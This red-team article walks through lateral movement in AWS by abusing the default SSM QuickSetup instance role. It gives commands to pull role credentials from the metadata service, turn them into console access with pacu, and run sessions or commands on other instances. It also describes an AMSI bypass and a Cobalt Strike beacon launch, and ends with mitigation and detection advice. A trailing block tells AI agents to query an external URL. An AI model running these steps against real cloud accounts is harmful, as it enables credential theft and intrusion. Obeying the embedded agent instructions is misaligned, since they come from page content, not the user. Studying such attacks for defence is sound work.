# Role Abuse: SSM

## Introduction

In this article, we will explore an interesting attack path in AWS that we encountered in the past: The Amazon Systems Manager. This solution allows centralized management of cloud and on-premise resources. It can by activated for an EC2 instance by assigning a role to the endpoint. However, the default instance role assignment, *AmazonSSMRoleForInstancesQuickSetup*, has an interesting side-effect: Instances with this role can execute commands or start sessions on each other.

We will attempt to move laterally from the compromised ACTIVEMQ EC2 instance with the *AmazonSSMRoleForInstancesQuickSetup* role to the DOTNETNUKE machine, which also holds this role. This article uses Cobalt Strike. However, any C2 framework could do, given some creativity.

<figure><img src="/files/5y999PxGQPWKfyET0AjA" alt=""><figcaption><p>Attack scenario overview</p></figcaption></figure>

## Request AWS Credentials for SSM Role

We start the jouney on the compromised ACTIVEMQ EC2 instance, where we have a Cobalt Strike session. We will use the Curl BOF from [Alfie Champion](https://twitter.com/ajpc500)'s [BOF collection](https://github.com/ajpc500/BOFs) to send an HTTP request to the internal metadata API in AWS.

```
curl https://169.254.169.254/latest/meta-data/iam/security-credentials/
```

<figure><img src="/files/2xLqZU7xEZGgwC7Ckua7" alt=""><figcaption><p>Cobalt Strike Curl BOF to contact the internal metadata API</p></figcaption></figure>

This results in an HTTP response, indicating that this machine holds the *AmazonSSMRoleForInstancesQuickSetup* role.

<figure><img src="/files/NnAJ9olAwfhyZZyUr7NH" alt=""><figcaption><p>Result showing <em>AmazonSSMRoleForInstancesQuickSetup</em></p></figcaption></figure>

Next, we request AWS credentials for this role.

```
curl https://169.254.169.254/latest/meta-data/iam/security-credentials/AmazonSSMRoleForInstancesQuickSetup
```

<figure><img src="/files/WLIRSNXT9DdIP51Cq83T" alt=""><figcaption><p>Requesting credentials for the role</p></figcaption></figure>

The response comes back with an AccessKeyId, SecretAccessKey and Token value (redacted). This means that we can now impersonate the compromised instance in the context of the *AmazonSSMRoleForInstancesQuickSetup* role.

<figure><img src="/files/Wblzbq6wqoElJM2LCzb6" alt=""><figcaption><p>Obtained AWS Credentials for the role</p></figcaption></figure>

## Console Access with Pacu

The newly obtained credentials can be used to interact with the AWS APIs programatically, or we can use [Rhinosecuritylabs](https://rhinosecuritylabs.com)' [pacu tool](https://hub.docker.com/r/rhinosecuritylabs/pacu) to generate a console link for our convenience. The first step is to create a \~/.aws/credentials file with the credentials:&#x20;

```
[default]
aws_access_key_id=<insert AccessKeyId value>
aws_secret_access_key=<insert SecretAccessKey value>
aws_session_token=<insert Token value>
```

Next, pacu can be launched via docker, while mounting the AWS credentials in the container.

```
docker run -it -v ~/.aws:/root/.aws rhinosecuritylabs/pacu:latest
```

<figure><img src="/files/hn6GnseE87lC0S2CQeUc" alt=""><figcaption><p>Launching pacu</p></figcaption></figure>

Next, we can import the AWS credentials and validate our role through the AWS console CLI.

```
import_keys --all
aws sts get-caller-identity
```

<figure><img src="/files/hZUrufigs2Wvh94zPGGf" alt=""><figcaption><p>Imported the keys and validated the assumed role</p></figcaption></figure>

Finally, pacu can generate the console login link to authenticate via a web browser via the following command:

```
console
```

<figure><img src="/files/Ic7RTy2aLe6sAA4li7S4" alt=""><figcaption><p>Pacu generated a (redacted) console link</p></figcaption></figure>

Browsing the URL automagically authenticates as the compromised instance with the AmazonSSMRoleForInstancesQuickSetup role.

<figure><img src="/files/jc3FQOH2LITD6ExSKImd" alt=""><figcaption><p>AWS Console access as the compromised ACTIVEMQ instance with the AmazonSSMRoleForInstancesQuickSetup role</p></figcaption></figure>

## Session Manager

At this point, our role allows us to access the the AWS System Manager via the AWS Console. This service has (at least) two interesting features under *Node Management*: *Session Manager* and *Run Command*.&#x20;

*Run Command* allows to run individual commands. For example, imagine a scenario where 30 Linux machines in the AWS VPC have the *AmazonSSMRoleForInstancesQuickSetup*. Machine 1 has an application running with an SSRF vulnerability, allowing an attacker to request AWS credentials from the internal metadata API and asume the role. He could use this interact with the AWS API to run a command to download and run a Command and Control agent on all 29 other machines.

We will focus on the manual approach via the *Session Manager*, which allows starting PowerShell and other sessions on the other machines with the default SSM role. The first step is to browse the AWS console and start a new session in the Session Manager.

<figure><img src="/files/VB4wd6Re665nIO0jlRT0" alt=""><figcaption></figcaption></figure>

Since we already compromised ACTIVEMQ, we will start a session on the only other available machine, DOTNETNUKE.

<figure><img src="/files/INVABHS1Lyko3SX2Jy4n" alt=""><figcaption></figcaption></figure>

This drops us in a PowerShell session as the privileged ssm-user, where we first perform a trivial AMSI bypass (copy and edit a payload from [amsi.fail](https://amsi.fail)) and then download and execute a stageless PowerShell beacon in-memory.

<figure><img src="/files/fZv0fq2cq2Bwr0W1tXcx" alt=""><figcaption><p>AMSI bypass and beacon launch from PowerShell</p></figcaption></figure>

This results in an active Cobalt Strike C2 connection on DOTNETNUKE as the ssm-user from powershell.exe.

<figure><img src="/files/q14s3C4vcBr9imYkReyb" alt=""><figcaption><p>Beacon from DOTNETNUKE</p></figcaption></figure>

## Send-Command

Alternatively, it is also possible to use AWS-RunShellScript (Linux) or AWS-RunPowerShellScript (Windows) via the AWS CLI to execute commands on target instances. This can be useful in case of insufficient privileges to start a session or request a federation token with Pacu.

The first step is to identify other target instances. The following SSM command can achieve this:

```
aws ssm describe-instance-information --output text --query "InstanceInformationList[*]" --region eu-west-1
```

If the instance role does not allow you to describe other instances in the environment, look for another source of instance IDs: OSINT, s3 bucket access (e.g Cloudwatch logs contain instance IDs), internal enumeration...)

The next step is to execute the command on the target instance. The following command can be used for the corresponding OS. Replace instance-ID with your target instance ID and change the region if needed.

For Linux:

```
aws ssm send-command --instance-ids "instance-ID" --document-name "AWS-RunShellScript" --comment "IP config" --parameters commands=ifconfig --output text --region eu-west-1
```

For Windows (with some quoted-string-kung-fu)

```
aws ssm send-command --instance-ids "INSTANCEID" --document-name "AWS-RunPowerShellScript" --comment "List programs" --parameters '{"commands":["dir","\"C:\\program\\ files\""]}' --output text --region eu-west-1
```

Finally, list the output for the executed command via the following command (replace the COMMANID with the output of the previous command)

```
aws ssm list-command-invocations --command-id COMMANDID --details --region eu-west-1
```

## Conclusion

In this article, we explored how the default Amazon Systems Manager role of one compromised machine can be abused to move laterally to other instances holding the same role.

## Mitigation

If you want to manage instances via AWS Systems Manager, use the *AmazonSSMManagedInstanceCore* policy, instead of following the  *AmazonSSMRoleForInstancesQuickSetup* role creation procedure. This is the recommended way to enable AWS Systems Manager service core functionality.

## Detection

Amazon Guardduty has the capability to detect aws credentials from one instance being used from another account/instance. However, this can be circumvented by executing the attack from the original instance.

Therefore, it might be interesting to also baseline the AWS environment and monitor for anomalous SSM documents being applied to instances. Build a whitelist of entities that should be allowed to do this and alert/block the rest.

## References

* <https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html>
* <https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AmazonSSMManagedInstanceCore.html>
* <https://github.com/ajpc500/BOFs>
* <https://github.com/RhinoSecurityLabs/pacu>
* <https://amsi.fail>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.0xbad53c.com/red-team-operations/aws/role-abuse-ssm.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
